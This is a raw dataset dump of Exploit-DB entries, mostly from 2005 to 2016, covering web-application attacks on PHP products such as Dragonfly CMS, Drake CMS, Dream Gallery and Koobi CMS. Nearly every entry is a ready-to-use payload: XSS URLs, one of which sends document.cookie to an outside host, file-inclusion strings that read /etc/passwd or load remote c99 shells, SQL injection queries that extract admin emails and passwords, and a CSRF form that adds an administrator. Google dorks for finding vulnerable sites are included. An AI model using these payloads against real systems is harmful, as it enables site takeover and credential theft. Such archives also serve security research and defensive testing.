deardaniel/secdata-raw huggingface dataset:
Exploit-DB #27268
Description: Dragonfly CMS 9.0.6.1 Downloads Module - 'c' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2006-02-22
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/16784/info
     
Dragonfly is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
     
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?name=Downloads&c=1"><script>alert()</script>
Exploit-DB #27265
Description: Dragonfly CMS 9.0.6.1 Stories_Archive Module - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-02-22
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/16784/info
  
Dragonfly is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
  
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?name=Stories_Archive&sa=show_month&year=2005&month=11"><script>alert()</script>
http://www.example.com/index.php?name=Stories_Archive&sa=show_month&year=2005"><script>alert()</script>> &month=11
http://www.example.com/index.php?name=Stories_Archive&sa=show_all"><script>alert()</script>
Exploit-DB #27267
Description: Dragonfly CMS 9.0.6.1 Surveys Module - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-02-22
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/16784/info
    
Dragonfly is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
    
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?name=Surveys&op=results"><script>alert()</script>pollid=3
http://www.example.com/index.php?name=Surveys&op=results&pollid=5"><script>alert()</script>
Exploit-DB #27266
Description: Dragonfly CMS 9.0.6.1 Web_Links Module - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2006-02-22
Author: Lostmon

Exploit:
source: https://www.securityfocus.com/bid/16784/info
   
Dragonfly is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com/index.php?name=Web_Links&l_op=viewlink&cid=15&min=10&orderby=title%20ASC&show=0"><script>alert(document.cookie)</script>
http://www.example.com/index.php?name=Web_Links&l_op=viewlink&cid=15"><script>alert()</script>
http://www.example.com/index.php?name=Web_Links&l_op=toprated&ratenum=5&ratetype=percent"><script>alert()</script>
http://www.example.com/index.php?name=Web_Links&l_op=viewlink&cid=15&orderby=titled"><script>alert()</script>
Exploit-DB #5369
Description: Dragoon 0.1 - 'lng' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-04-04
Author: w0cker

Exploit:
Script Name :Dragoon CMS
 
Download : http://sourceforge.net/project/showfiles.php?group_id=118780
 
Error :
$cal['lng']=$_GET['lng'];
include('../lang/'.$cal['lng'].'.php');
 
Vul Code : http://[site]/[path]/forum/kietu/libs/calendrier.php?cal[lng]=[LFI]

# milw0rm.com [2008-04-04]
Exploit-DB #5393
Description: Dragoon 0.1 - 'root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-04-07
Author: RoMaNcYxHaCkEr

Exploit:
-==========================================[ ViVa YeMeN ]====================================-

# Name : Dragoon 0.1 Remote File Include Vulnerabilitiy

# Download From : http://sourceforge.net/project/showfiles.php?group_id=118780

# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]  ( BlackxHat , BlackBox , aLwHEeD )        

# Home Page :  WwW.4RxH.CoM   

+======================================================================================================================+

# Vulne Code In File header.inc.php In Line 23 :

@include($root.'config.php')){

# Exploit :

http://WwW.4RxH.CoM/PHP/includes/header.inc.php?root=http://rxh.freehostia.com/shells/c99in.txt?

That,s It,s

Good Luck Everybody

+=======================================================================================================================+

# Greet To :

Tryag TeaM & All Members Of My Forum

# For Contact : RxH@HoTMaiL.iT

# Fuck Own Life  :( 

-==========================================[ ViVa YeMeN ]====================================-

# milw0rm.com [2008-04-07]
Exploit-DB #29805
Description: Drake CMS 0.3.7 - '404.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-03-30
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/23215/info

Drake CMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

Version 0.3.7 Beta is vulnerable; other versions may also be affected. 

http://www.example.com/path/404.php?d_private=../../etc/passwd?
Exploit-DB #31375
Description: Drake CMS 0.4.11 RC8 - 'd_root' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-03-10
Author: THE_MILLER

Exploit:
source: https://www.securityfocus.com/bid/28165/info

Drake CMS is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this issue may allow an unauthorized user to view files and execute local scripts.

Drake CMS 0.4.11_RC8 is vulnerable; other versions may also be affected.

http://www.example.com/install/index.php?d_root=/etc/passwd%00
Exploit-DB #2713
Description: Drake CMS < 0.2.3 ALPHA rev.916 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-04
Author: GregStar

Exploit:
**********************************************************************************************************
                                                              
			                Coding 4 Fun (c4f.pl) 
			                                      
**********************************************************************************************************

* Drake CMS v0.2.2 ALPHA rev.846 (http://drakecms.org) ; 

* Class = Remote File Inclusion ;
 
* Download = https://sourceforge.net/project/showfiles.php?group_id=166901&package_id=192077&release_id=420102 ;

* Found by = GregStar (gregstar[at]c4f[dot]pl) ;

-------------------------------------------------------------------------------------------------------------------


- Vulnerable Code in "includes/xhtml.php" :

 	include $d_root.'classes/kses.php';

++++++++++++++++++++++++++++++++++++++++++++

- Exploit:

	http://[target]/[path]/includes/xhtml.php?d_root=http://evilsite.com/shell?


------------------------------------------------------------------------------------------------------------------

Gr33tz:  sASAn,marcel3miasto,masS,kaziq,Abi,kociaq,SlashBeast,chochlik,RFL,d3m0n,java,reyw,kw@ch and for all friends.

**************************************************************************************************************

# milw0rm.com [2006-11-04]
Exploit-DB #39905
Description: Drale DBTableViewer 100123 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2016-06-08
Author: HaHwul

Exploit:
Drale DBTableViewer v100123 - Blind SQL Injection

# Exploit Title: drale DBTableViewer - SQL Injection(Blind/Error Base)
# Date: 2016-06-08
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://drale.com/
# Software Link: https://github.com/drale/DBTableViewer/archive/master.zip
# Version: Drale DBTableViewer v100123
# Tested on: Debian [wheezy]
# CVE : none

### VULNERABILITY
"orderby" parameter in DBTableViewer is vulnerable.
This parameter can be performed using blind injection.

### SQLMAP QUERY
#> sqlm -u "http://127.0.0.1/vul_test/DBTableViewer/?orderby=nice_name&sort=DESC" --level 4 --risk 3 --dbms=mysql

### SQLMAP OUTPUT
sqlmap identified the following injection points with a total of 727 HTTP(s) requests:
---
Parameter: orderby (GET)
    Type: boolean-based blind
    Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
    Payload: orderby=nice_name RLIKE (SELECT (CASE WHEN (1697=1697) THEN 0x6e6963655f6e616d65 ELSE 0x28 END))&sort=DESC

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE or HAVING clause (EXTRACTVALUE)
    Payload: orderby=nice_name AND EXTRACTVALUE(6590,CONCAT(0x5c,0x7162766a71,(SELECT (CASE WHEN (6590=6590) THEN 1 ELSE 0 END)),0x71787a7671))&sort=DESC

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0 time-based blind - Parameter replace
    Payload: orderby=(SELECT (CASE WHEN (6082=6082) THEN SLEEP(5) ELSE 6082*(SELECT 6082 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&sort=DESC
---
[12:03:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.10
back-end DBMS: MySQL 5.1
....

[12:07:33] [INFO] retrieved: zoph
[12:07:33] [INFO] retrieved: zzzz
available databases [25]:
[*] "
[*] ""
[*] '
[*] ''
[*] '''
[*] api
[*] blackcat
[*] edusec
Exploit-DB #30632
Description: DRBGuestbook 1.1.13 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-10-03
Author: Gokhan

Exploit:
source: https://www.securityfocus.com/bid/25911/info

DRBGuestbook is prone to a cross-site scripting vulnerability because the application fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

This issue affects DRBGuestbook 1.1.13; other versions may also be vulnerable. 

http://www.example.com/index.php?action=<script>alert("XSS");</script>
Exploit-DB #39884
Description: Dream Gallery 1.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2016-06-06
Author: Ali Ghanbari

Exploit:
<!--
# Exploit Title: Dream Gallery - CSRF Add Admin Exploit
# Google Dork: "Design by Rafael Clares"
# Date: 2016/06/03
# Exploit Author: Ali Ghanbari
# Vendor Homepage: http://phpstaff.com.br/
# Version: 1.0

#Exploit:
-->

<html>
 <body>
   <form method="post"  action="http://localhost/{PACH}/admin/usuario.php?action=incluir">
      <input type="hidden" name="user_login" value="ali">
      <input type="hidden" name="user_password" type="hidden" value="123456" >
      <input type="hidden" name="user_email" value="">
      <input type="submit" value="create">
  </form>
 </body>
</html>

<!--
#########################

[+]Exploit by: Ali Ghanbari

[+]My Telegram :@Exploiter007
-->
Exploit-DB #39934
Description: Dream Gallery 2.0 - Admin Panel Authentication Bypass
Type: webapps
Platform: php
Date: 2016-06-13
Author: Ali BawazeEer

Exploit:
<!--
# Exploit Title:  Dream Gallery 2.0 - Admin panel Authentication bypass
# Date: 13th June 2016
# Exploit Author: Ali BawazeEer
# Vendor Homepage: http://phpstaff.com.br/
# Version: 2.0

--!>


=======================================================================================================

Dream Gallery 2.0 Admin panel Authentication bypass 

Description : An Attackers are able to completely compromise the web application built upon
Dream Gallery as they can gain access to the admin panel and 
manage the website as an admin without prior authentication!


Step 1: Create a rule in No-Redirect Add-on: ^http://example.com/path/admin/login.php
Step 2: Access http://example.com/path/admin/index.php


Risk : Unauthenticated attackers are able to gain full access to the administrator panel
and thus have total control over the web application, including content change,add admin user .. etc

=======================================================================================================
potential fix 


<?php 
session_start(); 
if (!isset($_SESSION["auth"])) {         
exit(header('Location: admin/login.php')); 
} 

?>


[+] Exploit by: Ali BawazeEer
[+] Twitter:@AlibawazeEer
[+] Linkedin : https://www.linkedin.com/in/AliBawazeEer
Exploit-DB #33282
Description: Dream Poll 3.1 - '/index.php' Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2009-10-13
Author: infosecstuff

Exploit:
source: https://www.securityfocus.com/bid/36663/info

Dream Poll is prone to a cross-site scripting vulnerability and multiple SQL-injection vulnerabilities.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Dream Poll 3.1 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?action=loginsortField=poll_default&sortDesc=1&recordsPerPage=1>?><ScRiPt%20%0d%0a>alert(911)%3B</ScRiPt>
http://www.example.com/index.php?action=loginsortField=poll_default+and+31337-31337=0&sortDesc=1&recordsPerPage=20
http://www.example.com/index.php?action=loginsortField=poll_default+and+sleep(3)%23&sortDesc=1&recordsPerPage=20
Exploit-DB #17125
Description: Dream Vision Technologies Web Portal - SQL Injection
Type: webapps
Platform: php
Date: 2011-04-06
Author: eXeSoul

Exploit:
#####################################################################################
# Title : Dream Vision Technologies SQL Injection Vulnerability
#
# Author: eXeSoul
#
# Home  : 1337day.com or www.indishell.in /www.andhrahackers.com
#
# Email : exe.soul@live.com
#
# date  : 6/04/2011
#
# d0rk:-  Developed and Managed by Dream Vision Technologies Pvt Ltd
#		       
# category  : Web Apps [SQli]
#       
####################################################################################
####################################################################################
#
#
#
#    Go To Site :-
#
#   
#  
#    *SQL injection Vulnerability*
#
#
#
#      [+][php]
#
#      [*]http://site.com/product.php?sid=17'
#      [*]http://site.com/product.php?sid=[SQLI]	
#
#      [*]http://site.com/detail.php?id=7'
#      [*]http://site.com/detail.php?id=[SQLI]
#
#      find any file like .php?id or sid whatever , mostly all are vul..... to sqli.!
#
#     => PROUD TO BE AN INDIAN | Anythning for INDIA | JAI-HIND | Maa Tujhe Salam
#
#     => c0d3 for motherland, h4ck for motherland
#
#
#   
#    [#] DOne now time to rock \m/
#
#   
#
####################################################################
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
<3 Love: -[SiLeNtp0is0n]-, stRaNgEr(lucky), inX_rOot, NEO H4cK3R, DarkL00k, Th3 RDX,
G00g!3 W@rr!0r, Nazz ,r45c4l, str1k3r, co0Lt04d , ATUL DWIVEDI , Jackh4xor , Bon3 ,
Badboy-Albinia, Mr.SK , I-H Guru,X__HMG, AK-47, [ICW] [Andhra Hackers], Ethical N00b,Maxy,Brueni,
[Indishell crew], r0073r.!
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
############################################
#
#  I'm eXeSoul  member from Inj3ct0r Team
#
############################################
####################################################################
#
#  Bug discovered : 3 April 2011
####################################################################
#
# Jay Mahadev.!!  Jay shree Ram.!! jay Shree krishna.!! Jay hind.!!
#
####################################################################
#
#
# 1337day.com [2011-04-06]
####################################################################
Exploit-DB #5415
Description: Dream4 Koobi 4.4/5.4 - gallery SQL Injection
Type: webapps
Platform: php
Date: 2008-04-08
Author: S@BUN

Exploit:
##########################################
#
# Koobi v4.4,V5.4 gallery (img_id)
#
ONLY 4.4 AND 5.4

##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAiL : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "index.php?p=gallerypic img_id"

###########################################
EXPLOiT 1:

index.php?p=gallerypic&img_id=-1+union+select+0,1,2,concat(email,0x3a,pass),4,5,6,7,8+from+koobi4_user

EXPLOiT 2:
index.php?p=gallerypic&img_id=-1+union+select+0,1,2,concat(email,0x3a,pass),4,5,6,7,8+from+koobi_user



admin login=admin/login.php

password under page

###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-04-08]
Exploit-DB #26988
Description: Dream4 Koobi 5.0 - BBCode URL Tag Script Injection
Type: webapps
Platform: php
Date: 2005-12-28
Author: kurdish hackers team

Exploit:
source: https://www.securityfocus.com/bid/16078/info

Koobi is prone to a script injection vulnerability.

An attacker can nest BBCode URL tags to trigger this issue and execute arbitrary code in a user's browser.

Attacker-supplied HTML and script code would be able to access properties of the site, potentially allowing for theft of cookie-based authentication credentials. Other attacks are also possible.

Koobi 5 is reportedly prone to this vulnerability. 

[color=#EFEFEF][url]www.ut[url=www.s=''style='font-size:0;color:#EFEFEF'style='top:expression(eval(this.sss));'sss=`i=new/**/Image();i.src='http://mysite/cookies.php?
c='+document.cookie;this.sss=null`style='font-size:0;][/url][/url]'[/color]
Exploit-DB #25272
Description: Dream4 Koobi CMS 4.2.3 - 'index.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-03-24
Author: mircia

Exploit:
source: https://www.securityfocus.com/bid/12895/info

Koobi CMS is reportedly affected by a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/index.php?area=[XSS]
Exploit-DB #25273
Description: Dream4 Koobi CMS 4.2.3 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-03-24
Author: mircia

Exploit:
source: https://www.securityfocus.com/bid/12896/info

Koobi CMS is reportedly affected by a SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in as SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/index.php?p=articles&area=[SQL Code]
Exploit-DB #25555
Description: Dream4 Koobi CMS 4.2.3 - 'index.php?P' SQL Injection
Type: webapps
Platform: php
Date: 2005-04-27
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13412/info

Koobi CMS is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?p='[SQL code]
http://www.example.com/index.php?area=1&p='[SQL code]
Exploit-DB #25556
Description: Dream4 Koobi CMS 4.2.3 - 'index.php?Q' SQL Injection
Type: webapps
Platform: php
Date: 2005-04-27
Author: CENSORED Search Vulnerabilities

Exploit:
source: https://www.securityfocus.com/bid/13413/info

Koobi CMS is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?q='[SQL code]
Exploit-DB #5447
Description: Dream4 Koobi CMS 4.2.4/4.2.5/4.3.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-04-14
Author: JosS

Exploit:
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+             Koobi CMS 4.3.0, 4.2.5, 4.2.4 Multiple Remote SQL Injection            +==--
--==+====================================================================================+==--
                     [+] [JosS] + [Spanish Hackers Team] + [Sys - Project]

[+] Info:

[~] Software: Koobi CMS 4.3.0, 4.2.5, 4.2.4
[~] HomePage: http://www.dream4.de/
[~] Exploit: Remote SQL Injection [High]
[~] Where: index.php
[~] Bug Found By: JosS
[~] Contact: sys-project[at]hotmail.com
[~] Web: http://www.spanish-hackers.com

[+] Dorks:

[~] Koobi CMS 4.3.0: "powered by koobi-cms 4.3.0"
[~] Koobi CMS 4.2.5: "powered by koobi-cms 4.2.5"
[~] Koobi CMS 4.2.4: "powered by koobi-cms 4.2.4"

[+] Exploits for 4.3.0:

[~] Module: gallery
[~] /index.php?area=1&p=gallery&action=showimages&galid=[SQL]
[~] Admin Data: -104+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi4_user/*

[~] Module: downloads
[~] /index.php?showfile=1&fid=31&p=downloads&area=1&categ=[SQL]
[~] Admin Data: -104+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi4_user/*

[+] Exploits for 4.2.5:

[~] Module: links
[~] /index.php?showlink=1&fid=1&p=links&area=1&categ=[SQL]
[~] Admin Data: -104+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi4_user/*

[~] Module: downloads
[~] /index.php?showfile=1&fid=1&p=downloads&area=1&categ=[SQL]
[~] Admin Data: -104+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi4_user/*

[+] Exploits for 4.2.4:

[~] Module: downloads
[~] /index.php?showfile=1&fid=31&p=downloads&area=1&categ=[SQL]
[~] Admin Data: -104+union+all+select+1,concat(email,0x203a3a20,pass),3+from+koobi4_user/*

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-04-14]